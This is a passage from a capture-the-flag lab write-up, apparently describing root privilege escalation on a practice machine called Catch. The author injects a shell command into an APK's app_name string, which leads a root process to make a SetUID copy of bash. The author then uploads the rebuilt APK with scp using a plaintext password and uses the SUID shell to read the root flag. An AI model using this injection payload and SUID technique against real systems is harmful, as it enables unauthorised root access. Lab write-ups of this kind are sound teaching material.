I: Copying unknown files/dir...
I: Built apk...
oxdf@hacky$ rm test.apk 

I was getting errors at one point that kind of looked like this issue, and were fixed by running apktool empty-framework-dir --force as suggested there.

I’ll open decomp/res/values/strings.xml and edit the app_name:

    <string name="app_name">Catch$(cp /bin/bash /tmp/0xdf; chmod 4777 /tmp/0xdf)</string>

This will copy bash into /tmp and make it SetUID to run as root.

Build it back up:

oxdf@hacky$ java -jar apktool_2.6.1.jar b -f decomp/ -o modified.apk
I: Using Apktool 2.6.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...


I’ll upload this to Catch using scp, right into the dropbox directory:

oxdf@hacky$ sshpass -p 's2#4Fg0_%3!' scp modified.apk will@


Once a minute rolls over, I’ll check, and there’s a SetUID 0xdf file in /tmp:

will@catch:/opt/mdm$ ls -l /tmp/0xdf
-rwsrwxrwx 1 root root 1183448 Jun 29 20:16 /tmp/0xdf

Running it (with -p to not drop privs) gives a shell with euid of root:

will@catch:/opt/mdm$ /tmp/0xdf -p
0xdf-5.0# id
uid=1000(will) gid=1000(will) euid=0(root) groups=1000(will)

That’s enough to read the flag:

0xdf-5.0# cd /root
0xdf-5.0# cat root.txt